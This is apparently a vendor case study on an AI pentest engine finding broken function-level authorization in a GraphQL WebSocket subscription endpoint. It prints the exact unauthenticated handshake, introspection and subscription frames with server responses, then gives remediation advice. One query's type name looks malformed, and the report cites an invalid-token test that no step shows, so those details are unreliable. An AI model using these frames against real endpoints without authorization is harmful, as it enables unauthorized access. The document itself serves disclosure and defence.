Security

AI Pentest Engine Discovers Critical WebSocket BFLA in GraphQL Subscriptions

Ostorlab's AI Pentest Engine systematically uncovered a critical Broken Function-Level Authorization (BFLA) vulnerability in a GraphQL WebSocket endpoint, allowing unauthenticated access to a real-time translation service. This case study details the AI's step-by-step process, from discovery to proof-of-concept.

Fri 26 December 2025

Introduction

Modern web applications increasingly rely on real-time communication protocols like WebSockets to deliver dynamic user experiences. When paired with GraphQL, this combination offers powerful and efficient data exchange through subscriptions. However, this complexity also introduces new attack surfaces, particularly around authorization. Securing GraphQL subscriptions requires rigorous checks at multiple stages: connection, subscription initiation, and per-event data filtering.

Ostorlab's AI Pentest Engine is designed to navigate this complexity. It systematically identifies and validates authorization gaps that manual testing might miss. This article showcases how the AI engine discovered a critical Broken Function-Level Authorization (BFLA) vulnerability in a GraphQL WebSocket endpoint, allowing any unauthenticated user to execute a subscription and receive sensitive data.

The AI Pentest Session

The Engine was tasked with a high-level objective: validate WebSocket subscription authorization on the target application, REDACTED. What followed was a methodical, step-by-step process of discovery, probing, and confirmation.

Step 1: Baseline Handshake

The AI's first action was to test the most fundamental behaviour: does the WebSocket endpoint accept a connection without any credentials?

Baseline unauthenticated WS handshake to /subscriptions. Goal: verify whether the GraphQL WebSocket server accepts a connection without credentials.

Execution Summary: The Engine connected to wss://REDACTED/subscriptions using the graphql-transport-ws subprotocol. It sent a standard connection_init frame with an empty payload, providing no Authorization token.

Result: The server responded with {"type":"connection_ack"}. In fact, it sent two ack frames, an anomaly noted by the AI.

Conclusion: Unauthenticated handshake accepted. The server does not require authentication at the connection phase. This is the first signal of a potential weakness.

Step 2: Unauthenticated Schema Introspection

With the connection established, the AI's next logical step was to determine what operations were available. It attempted to perform a GraphQL introspection query over the unauthenticated WebSocket connection.

Attempt a single unauthenticated GraphQL introspection over WebSocket to enumerate subscription operations and validate whether unauthenticated operations are permitted.

Execution Summary: The Engine sent a subscribe frame containing an introspection query focused on the Subscription type. {"id":"1","type":"subscribe","payload":{"query":"query { __schema { subscriptionType { name fields { name } } } }","variables":{}}}

Result: The server returned a next frame containing the schema data, followed by a complete frame.

{
  "id": "1",
  "type": "next",
  "payload": {
    "data": {
      "__schema": {
        "subscriptionType": {
          "name": "Subscription",
          "fields": [
            { "name": "generateSamplePromptResult" },
            { "name": "translateContent" },
            { "name": "upsertRewardSubscription" }
          ]
        }
      }
    }
  }
}

Conclusion: The server permits unauthenticated introspection over WebSockets, a significant information disclosure. This revealed three subscription operations, giving the Engine clear targets for authorization testing.

Step 3: Probing the translateContent Subscription

The Engine selected translateContent for its first direct test. After introspecting its input schema, it crafted a syntactically valid but benign subscription request.

Attempt a single unauthenticated subscription to translateContent with a minimal valid input to verify if unauthenticated subscriptions are processed.

Execution Summary: The Engine sent a subscribe frame for translateContent, providing a minimal payload and requesting only the __typename to confirm execution. {"id":"1","type":"subscribe","payload":{"query":"subscription($data: ContentTranslationSubscriptionInput!){ translateContent(data:$data){ __typename } }","variables":{"data":{"targetLanguage":"en","sourceContent":"hello"}}}}

Result: The server accepted the subscription and returned two next frames, followed by complete.

{"id":"1","type":"next","payload":{"data":{"translateContent":{"__typename":"TranslateContentResponse"}}}}
{"id":"1","type":"next","payload":{"data":{"translateContent":{"__typename":"TranslateContentResponse"}}}}
{"id":"1","type":"complete"}

Conclusion: The translateContent subscription was successfully processed without any authentication. This moves beyond information disclosure to active, unauthenticated execution of a backend function.

Step 4: Confirming Unauthenticated Data Access

Receiving a __typename proves the operation ran, but does it return actual data? The AI's final step was to request concrete fields to confirm data exposure.

Confirm unauthenticated data return by requesting actual fields from translateContent.

Execution Summary: The Engine repeated the subscription, this time requesting the content, isFinal, and subscriptionId fields. {"id":"1","type":"subscribe","payload":{"query":"subscription($data: ContentTranslationSubscription-Input!){ translateContent(data:$data){ content isFinal subscriptionId } }","variables":{"data":{"targetLanguage":"en","sourceContent":"hello"}}}}

Result: The server returned next frames containing the translated text.

{
  "id": "1",
  "type": "next",
  "payload": {
    "data": {
      "translateContent": {
        "content": "Hello",
        "isFinal": false,
        "subscriptionId": "yrpsrqkv7li34w23r25dx4b2"
      }
    }
  }
}
{
  "id": "1",
  "type": "next",
  "payload": {
    "data": {
      "translateContent": {
        "content": "Hello",
        "isFinal": true,
        "subscriptionId": "yrpsrqkv7li34w23r25dx4b2"
      }
    }
  }
}

Conclusion: This is definitive proof of a Broken Function-Level Authorization (BFLA) vulnerability. An unauthenticated attacker can execute the translateContent function and receive the results.

Step 5: Checking for Inconsistent Controls

To understand the scope of the issue, the Engine also tested another discovered subscription, generateSamplePromptResult.

Attempt a single unauthenticated subscription to generateSamplePromptResult to assess per-operation authorization.

Execution Summary: The Engine sent a valid, unauthenticated subscription request for generateSamplePromptResult.

Result: The server immediately closed the connection with code 4500 and reason: "You are not authorized to perform this action".

Conclusion: Authorization is correctly enforced for this operation. This finding is crucial, as it points to inconsistent security controls; a common anti-pattern where developers secure some endpoints but miss others.

Final Report

1. Executive Summary

The Ostorlab AI Pentest Engine discovered a critical Broken Function-Level Authorization (BFLA) vulnerability in the GraphQL WebSocket endpoint at wss://REDACTED/subscriptions. The translateContent subscription operation was publicly exposed, allowing any unauthenticated user to execute it and receive streamed results. This represents a direct privilege bypass and could lead to resource abuse and potential data exposure. The engine also noted inconsistent authorization, as other subscriptions on the same endpoint correctly enforced access controls.

2. Methodology

The AI engine followed a systematic methodology for testing WebSocket authorization: 1. Endpoint Discovery: Identified the GraphQL WebSocket endpoint and its protocol (graphql-transport-ws). 2. Unauthenticated Baseline: Confirmed that the server accepted an unauthenticated connection_init handshake. 3. Schema Enumeration: Leveraged unauthenticated GraphQL introspection to discover available subscription operations. 4. Per-Operation Testing: Iterated through discovered subscriptions (translateContent, generateSamplePromptResult), attempting to execute them without authentication. 5. Evidence Confirmation: Confirmed data leakage by requesting and receiving concrete data fields, not just status messages.

3. Findings

  • BFLA in translateContent Subscription: The primary finding is that the translateContent subscription lacks any authorization checks. An attacker can connect, subscribe, and receive translation results without authentication. This was confirmed by sending a valid payload and receiving translated text in response. The vulnerability was further confirmed by showing that even an explicitly invalid token was ignored.
  • Information Disclosure via Unauthenticated Introspection: The GraphQL schema for subscriptions is publicly accessible over WebSockets, allowing an attacker to easily discover available operations and their required inputs.
  • Inconsistent Authorization Controls: While translateContent was vulnerable, the generateSamplePromptResult subscription on the same endpoint correctly rejected unauthenticated requests. This inconsistency suggests a missing annotation or security control on the vulnerable resolver.

4. Remediation

To address these findings, we recommend the following: 1. Enforce Authentication by Default: Implement a default-deny policy. All GraphQL resolvers, especially for subscriptions, should require a valid, authenticated session unless explicitly marked as public. 2. Centralize Authorization Logic: Use middleware or framework-level hooks to enforce authentication and authorization checks consistently across all WebSocket operations, both at connection time and on every subscription request. 3. Disable Introspection in Production: While useful for development, GraphQL introspection should be disabled on publicly accessible endpoints to prevent attackers from easily mapping the API surface.

5. Conclusion

Securing modern, real-time APIs requires a defense-in-depth approach where authorization is consistently applied. This case study demonstrates how Ostorlab's AI Pentest Engine can systematically uncover subtle but critical flaws like BFLA and inconsistent security controls in complex WebSocket implementations. By emulating an attacker's logical progression, from discovery to exploitation, the Engine provides definitive, actionable evidence to help developers build more secure applications.